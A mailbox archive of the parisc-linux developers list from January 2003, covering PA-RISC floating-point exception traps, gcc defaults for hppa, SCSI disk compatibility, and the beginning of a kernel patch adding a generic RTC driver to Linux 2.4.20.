List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17327

On Fri, Jan 10, 2003 at 11:51:41AM +0100, jsoe0708@tiscali.be wrote:
> PS:  with ext3 (which I use) problem I hesitate to install 2.4.20 and waiting
> for 2.4.21 and evms, jfs, xfs support for this system)

um, you use the data=ordered mount option (or whatever it was)?

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jim Hull" <jim.hull@hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: RE: [parisc-linux] Re: floating point exception error
Date: Fri, 10 Jan 2003 10:08:29 -0800
Organization: Hewlett-Packard
Lines: 56
Approved: news@gmane.org
Message-ID: <003101c2b8d3$477c8bb0$6763f40f@cup.hp.com>
References: <20030110075441.GD31470@tausq.org>
Reply-To: <jim.hull@hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622094 19700 80.91.229.3 (22 Nov 2014 02:08:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:14 +0000 (UTC)
Cc: <parisc-linux@parisc-linux.org>
To: "'Randolph Chung'" <randolph@tausq.org>,
	"'John David Anglin'" <dave@hiauly1.hia.nrc.ca>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 11:08:30 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from palrel12.hp.com (palrel12.hp.com [156.153.255.237])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7DB3A4829
	for <parisc-linux@parisc-linux.org>; Fri, 10 Jan 2003 11:08:30 -0700 (MST)
Original-Received: from lucy.cup.hp.com (lucy.cup.hp.com [15.0.88.68])
	by palrel12.hp.com (Postfix) with ESMTP
	id 139CBE0081C; Fri, 10 Jan 2003 10:08:30 -0800 (PST)
Original-Received: from jh73313p (dhcp42uvi357.cup.hp.com [15.244.99.103])
	by lucy.cup.hp.com (8.9.3 (PHNE_18546)/8.9.3 SMKit7.02) with ESMTP id KAA23261;
	Fri, 10 Jan 2003 10:08:29 -0800 (PST)
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook, Build 10.0.4024
In-Reply-To: <20030110075441.GD31470@tausq.org>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4807.1700
Importance: Normal
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17328

Randolph wrote:

> i looked at this some more.. it's not that the fcnv instruction is not
> implemented by the processor, but we seem to be falling into 
> one of the overflow/underflow cases... if you adjust the value being 
> converted (say remove one of the zeros), the program works without
trapping.
> 
> page 10-9 of the pa20 arch manual gives the conditions under which a
> floating point conversion op will cause an unimplemented exception.
> however my reading of the text is that an exception is only generated
if
> the overflow/underflow exceptions are enabled. i've tried explicitly 
> calling feclearexcept(FE_ALL_EXCEPT) before doing the fp op but it
still 
> causes the unimplemented exception trap.
> The kernel debugs seem to indicate the O/U exceptions are not set as 
> well....

Actually, the important architectural statement is this one, on p. 10-8:

  If an implementation chooses not to execute an instruction, the
  instruction signals an unimplemented exception.  An unimplemented
  exception always causes a delayed trap on a later floating-point
  instruction.  It does not change the Status Register Flag bits and
  cannot be disabled.

What p. 10-9 is describing are the conditions under which the processor
is *required* to "go unimplemented" (i.e., to take an unimplemented
exception).  But what p. 10-8 says is that the processor is *allowed* to
"go unimplemented" on any FP instruction at any time for any reason.

A totally unrealistic, but still allowed, implementation would be for
all multiply-add instructions to "go unimplemented" on Tuesdays, and all
multiply-subtract instructions to do so on Thursdays.  A more realistic
example would be for a processor to "go unimplemented" for certain hard
corner-case combinations of operands and/or rounding modes.

In the particular case of the fcnv-unsigned-to-float instruction being
discussed in this thread, all PA-8xxx processors "go unimplemented" if
the MSB is 1 in the source operand.  This explains why the trap
disappears when you "remove one of the zeros" from the operand.

What it does not explain is why the original message reported a
difference between a PA-8600 and a PA-8700.  According to every internal
HP processor document and PA-RISC FP designer I've been able to track
down, this area of the design hasn't been changed since the original
PA-8000, so there shouldn't be any differences in behavior.

Can someone repeat the experiment on PA-8600 and a PA-8700 machine that
are configured identically (kernel, glibc, test program, etc.)?

 -- Jim
    HP PA-RISC/IPF Processor Architect



From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] new gcc-default for hppa
Date: Fri, 10 Jan 2003 19:18:25 +0100
Lines: 28
Approved: news@gmane.org
Message-ID: <3E1AA8D500000ADF__22643.8444726684$1416622094$gmane$org@ocpmta8.freegates.net>
References: <20030110170905.GG26261@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622094 19704 80.91.229.3 (22 Nov 2014 02:08:14 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:14 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org, debian-hppa@lists.debian.org
To: "Randolph Chung" <tausq@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 11:18:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm3.tiscalinet.be [212.35.2.72])
	by dsl2.external.hp.com (Postfix) with ESMTP id 082354829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 11:18:39 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18X3jo-0003zB-00; Fri, 10 Jan 2003 19:18:36 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 10 Jan 2003 19:18:25 +0100
In-Reply-To: <20030110170905.GG26261@tausq.org>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17329

>> I do notice that unstable debian for i386 switch (or will very soon)
gcc-default
>> to gcc-3.2. Is it also true for hppa? (am I anxious about compiling ne=
w
>> kernel with this because of pb encounter with network connection)
>
>yes:
>
>tausq@auric:~$ madison gcc|grep unstable
>       gcc |    2:3.1-1 |      unstable | hurd-i386
>       gcc |  3:3.2.2-0 |      unstable | alpha, arm, hppa, i386, ia64,
m68k,
>mips, mipsel, powerpc, s390, sparc
>
Thanks I will so wait before updating all my 2 test server (a b180 & a b2=
k)

Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Fri, 10 Jan 2003 10:35:33 -0800
Lines: 19
Approved: news@gmane.org
Message-ID: <20030110183533.GH26261@tausq.org>
References: <20030110075441.GD31470@tausq.org> <003101c2b8d3$477c8bb0$6763f40f@cup.hp.com>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622095 19707 80.91.229.3 (22 Nov 2014 02:08:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:15 +0000 (UTC)
Cc: 'John David Anglin' <dave@hiauly1.hia.nrc.ca>,
	parisc-linux@parisc-linux.org
To: Jim Hull <jim.hull@hp.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 11:31:39 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from pippin.tausq.org (gandalf.tausq.org [64.81.244.94])
	by dsl2.external.hp.com (Postfix) with ESMTP id 593114829
	for <parisc-linux@parisc-linux.org>; Fri, 10 Jan 2003 11:31:39 -0700 (MST)
Original-Received: by pippin.tausq.org (Postfix, from userid 1000)
	id 18B94CD62D; Fri, 10 Jan 2003 10:35:33 -0800 (PST)
Content-Disposition: inline
In-Reply-To: <003101c2b8d3$477c8bb0$6763f40f@cup.hp.com>
User-Agent: Mutt/1.4i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17330

> What it does not explain is why the original message reported a
> difference between a PA-8600 and a PA-8700.  According to every internal
> HP processor document and PA-RISC FP designer I've been able to track
> down, this area of the design hasn't been changed since the original
> PA-8000, so there shouldn't be any differences in behavior.

actually it happens there too. i can reproduce the trap on pa8500,
pa8600 and pa8700 A500s.

so i guess this again points to a fp emulation bug in the kernel....
this is a bit surprising because aiui the code was lifted from hpux...

will look at this some more this weekend.
randolph
-- 
Randolph Chung
Debian GNU/Linux Developer, hppa/ia64 ports
http://www.tausq.org/


From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: jsoe0708@tiscali.be
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] unaligned accesses
Date: Fri, 10 Jan 2003 19:47:52 +0100
Lines: 29
Approved: news@gmane.org
Message-ID: <3E1AA8D500000AF7@ocpmta8.freegates.net>
References: <20030110170813.X26554@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622095 19710 80.91.229.3 (22 Nov 2014 02:08:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:15 +0000 (UTC)
Cc: "Randolph Chung" <randolph@tausq.org>,
	parisc-linux@lists.parisc-linux.org
To: "Matthew Wilcox" <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 11:48:00 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D0F6A4829
	for <parisc-linux@lists.parisc-linux.org>; Fri, 10 Jan 2003 11:47:59 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18X4C8-00073y-00; Fri, 10 Jan 2003 19:47:52 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Fri, 10 Jan 2003 19:47:52 +0100
In-Reply-To: <20030110170813.X26554@parcelfarce.linux.theplanet.co.uk>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17331

>-- Original Message --
>Date: Fri, 10 Jan 2003 17:08:13 +0000
>From: Matthew Wilcox <willy@debian.org>
>To: jsoe0708@tiscali.be
>Cc: Randolph Chung <randolph@tausq.org>,
>	parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] unaligned accesses
>
>
>On Fri, Jan 10, 2003 at 11:51:41AM +0100, jsoe0708@tiscali.be wrote:
>> PS:  with ext3 (which I use) problem I hesitate to install 2.4.20 and
waiting
>> for 2.4.21 and evms, jfs, xfs support for this system)
>
>um, you use the data=3Dordered mount option (or whatever it was)?
>
Good question? I will investigate and let you inform.

Joel


*********************************************
Vous surfez toujours avec une ligne classique ?
Faites des economies avec Tiscali Complete...
Plus d'info sur ... http://complete.tiscali.be





From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: floating point exception error
Date: Fri, 10 Jan 2003 13:48:29 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200301101848.h0AImToB004181@hiauly1.hia.nrc.ca>
References: <003101c2b8d3$477c8bb0$6763f40f@cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622095 19712 80.91.229.3 (22 Nov 2014 02:08:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:15 +0000 (UTC)
Cc: randolph@tausq.org, parisc-linux@parisc-linux.org
To: jim.hull@hp.com
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 11:48:32 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id A2E564874
	for <parisc-linux@parisc-linux.org>; Fri, 10 Jan 2003 11:48:31 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id h0AImUot004182;
	Fri, 10 Jan 2003 13:48:30 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id h0AImToB004181;
	Fri, 10 Jan 2003 13:48:29 -0500 (EST)
In-Reply-To: <003101c2b8d3$477c8bb0$6763f40f@cup.hp.com> from "Jim Hull" at Jan 10, 2003 10:08:29 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17332

> What it does not explain is why the original message reported a
> difference between a PA-8600 and a PA-8700.  According to every internal
> HP processor document and PA-RISC FP designer I've been able to track
> down, this area of the design hasn't been changed since the original
> PA-8000, so there shouldn't be any differences in behavior.

I looked at the assembly code.  The original test was done under hpux.
I see that the call to ull2dbl has been optimized out of the loop.  It
is just called once.  So, the code probably is trapping there as well.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: grundler@dsl2.external.hp.com (Grant Grundler)
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] ibm-disk on a hp 735/125
Date: Fri, 10 Jan 2003 12:51:50 -0700
Lines: 34
Approved: news@gmane.org
Message-ID: <20030110195150.GA21364@dsl2.external.hp.com>
References: <Pine.GSO.4.51.0301091743500.9837@sunhalle66> <20030110124210.GG2160@aurinko.ntc.nokia.com> <1042203531.19627.11.camel@linux> <20030110145800.GH2160@aurinko.ntc.nokia.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416622096 19714 80.91.229.3 (22 Nov 2014 02:08:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:16 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Nahkola Mikko <mnahkola@trinms01.ntc.nokia.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 12:51:50 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: by dsl2.external.hp.com (Postfix, from userid 26925)
	id 8B7904829; Fri, 10 Jan 2003 12:51:50 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <20030110145800.GH2160@aurinko.ntc.nokia.com>
User-Agent: Mutt/1.3.28i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17333

On Fri, Jan 10, 2003 at 04:58:00PM +0200, Nahkola Mikko wrote:
> time these boxes were made, there were supposed to be certain differences 
> between HP and regular disks. Or maybe that was just HP marketing.

testing. HP tests all it's HPUX products so they are usable in
"High Availability" configurations and work with all HPUX SCSI HBAs.

> At any rate, there _was_ (and still is, BTW) a way to recognize a HP disk 
> by the firmware - and there were differences between "workstation" and 
> "server" disks too, _and_ IIRC "workstation" disks weren't "expected to 
> work" in servers, the other way round it was "expected to work" but "unsupported" 
> or something. Don't remember.

workstation and server disks were for a long time seperate products
and tested seperately.  The reason was cost and time to market.
If you test something rigorously expect the testing  to (a) take longer
and (b) expose problems.

While they might still be seperate products, I think they all go through
the same testing these days - maybe with different hosts/configs.

Testing SCSI disks and SCSI RAID arrays in a multi-initiator
configuration exposes problems workstation/PC users rarely, if ever, see.

> But since HP-UX 10.20 by the latest, probably earlier too, some people 
> have been using whatever disks they get as long as the SCSI interfaces 
> are compatible. I've never heard of problems. 

Well, "works for me" is good enough for most linux users.
It's not when one is involved with any kind of support contract.

hth,
grant


From - Thu Nov 08 21:26:14 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Geert Uytterhoeven <geert@linux-m68k.org>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Generic RTC driver in 2.4.x
Date: Fri, 10 Jan 2003 21:05:55 +0100 (MET)
Lines: 875
Approved: news@gmane.org
Message-ID: <Pine.GSO.4.21.0301102104190.18440-100000__15633.6190099411$1416622096$gmane$org@vervain.sonytel.be>
References: <Pine.GSO.4.21.0301051535430.10519-100000@vervain.sonytel.be>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416622096 19716 80.91.229.3 (22 Nov 2014 02:08:16 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:08:16 +0000 (UTC)
Cc: Linux Kernel Development <linux-kernel@vger.kernel.org>,
	Linux/m68k <linux-m68k@lists.linux-m68k.org>
To: Alan Cox <alan@lxorguk.ukuu.org.uk>,
	parisc-linux@parisc-linux.org,
	Linux/PPC Development <linuxppc-dev@lists.linuxppc.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Fri Jan 10 13:06:40 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.sonytel.be (mail2.sonytel.be [195.0.45.172])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8D6404829
	for <parisc-linux@parisc-linux.org>; Fri, 10 Jan 2003 13:06:39 -0700 (MST)
Original-Received: from vervain.sonytel.be (mail.sonytel.be [10.17.0.27])
	by mail.sonytel.be (8.9.0/8.8.6) with ESMTP id VAA18963;
	Fri, 10 Jan 2003 21:05:55 +0100 (MET)
In-Reply-To: <Pine.GSO.4.21.0301051535430.10519-100000@vervain.sonytel.be>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17334

Unfortunately I didn't receive any feedback from the pa-risc and ppc people
after my previous posting last Sunday.

Alan, I'm explicitly sending it to you for inclusion in your ac tree.
I intend to send it to Marcelo after the weekend.

Changes since last Sunday:
  - fix spelling of `automatically' (from Geoffrey Lee <glee@gnupilgrims.org>)
  - misc_register() and create_proc_read_entry() can fail
    (from mikal@stillhq.com in 2.5.x)
  - create_proc_read_entry() depends on CONFIG_PROC_FS
    (from mikal@stillhq.com in 2.5.x)


The following patch adds the generic RTC driver to 2.4.20 (applies fine to
2.4.21-pre3). This driver provides a /dev/rtc-compatible interface to the real
time clock on machines without a PC-style RTC chip. It is used as the primary
RTC driver on m68k, pa-risc, and ppc. This driver is already present in 2.5.x.

Pa-risc and ppc people (any other users?), please send me your enhancements (or
just ack if none are necessary), so I can send genrtc to Marcelo.

Thanks!

 Documentation/Configure.help  |   28 ++
 arch/m68k/config.in           |    5 
 arch/m68k/kernel/m68k_ksyms.c |    5 
 arch/m68k/kernel/setup.c      |    3 
 arch/m68k/q40/config.c        |   41 +++
 drivers/char/Makefile         |    1 
 drivers/char/genrtc.c         |  533 ++++++++++++++++++++++++++++++++++++++++++
 include/asm-m68k/machdep.h    |    4 
 include/asm-m68k/rtc.h        |   44 +++
 include/linux/rtc.h           |   28 ++
 10 files changed, 687 insertions(+), 5 deletions(-)

--- linux-2.4.20/Documentation/Configure.help	Tue Oct 29 18:40:45 2002
+++ linux-genrtc-2.4.20/Documentation/Configure.help	Fri Jan 10 20:54:52 2003
@@ -18959,6 +18959,34 @@
   The module is called rtc.o. If you want to compile it as a module,
   say M here and read <file:Documentation/modules.txt>.
 
+Generic Real Time Clock Support
+CONFIG_GEN_RTC
+  If you say Y here and create a character special file /dev/rtc with
+  major number 10 and minor number 135 using mknod ("man mknod"), you
+  will get access to the real time clock (or hardware clock) built
+  into your computer.
+
+  In 2.4 and later kernels this is the only way to set and get rtc
+  time on m68k systems so it is highly recommended.
+
+  It reports status information via the file /proc/driver/rtc and its 
+  behaviour is set by various ioctls on /dev/rtc. If you enable the
+  "extended RTC operation" below it will also provide an emulation
+  for RTC_UIE which is required by some programs and may improve
+  precision in some cases.
+
+  This driver is also available as a module ( = code which can be
+  inserted in and removed from the running kernel whenever you want).
+  The module is called genrtc.o. If you want to compile it as a module,
+  say M here and read <file:Documentation/modules.txt>. To load the
+  module automatically add 'alias char-major-10-135 genrtc' to your
+  /etc/modules.conf
+
+Extended RTC operation
+CONFIG_GEN_RTC_X
+  Provides an emulation for RTC_UIE which is required by some programs 
+  and may improve precision of the generic RTC support in some cases.
+
 Tadpole ANA H8 Support
 CONFIG_H8
   The Hitachi H8/337 is a microcontroller used to deal with the power
--- linux-2.4.20/arch/m68k/config.in	Fri Sep 13 10:14:59 2002
+++ linux-genrtc-2.4.20/arch/m68k/config.in	Fri Jan 10 20:54:25 2003
@@ -517,8 +517,11 @@
    if [ "$CONFIG_SUN3" = "y" ]; then
       define_bool CONFIG_GEN_RTC y
    else
-      bool 'Generic /dev/rtc emulation' CONFIG_GEN_RTC
+      tristate 'Generic /dev/rtc emulation' CONFIG_GEN_RTC      
    fi
+fi
+if [ "$CONFIG_GEN_RTC" != "n" ]; then
+   bool '   Extended RTC operation' CONFIG_GEN_RTC_X
 fi
 bool 'Unix98 PTY support' CONFIG_UNIX98_PTYS
 if [ "$CONFIG_UNIX98_PTYS" = "y" ]; then
--- linux-2.4.20/arch/m68k/kernel/m68k_ksyms.c	Thu Jan  4 22:00:55 2001
+++ linux-genrtc-2.4.20/arch/m68k/kernel/m68k_ksyms.c	Fri Jan 10 20:54:25 2003
@@ -18,6 +18,7 @@
 #include <asm/checksum.h>
 #include <asm/hardirq.h>
 #include <asm/softirq.h>
+#include <asm/rtc.h>
 
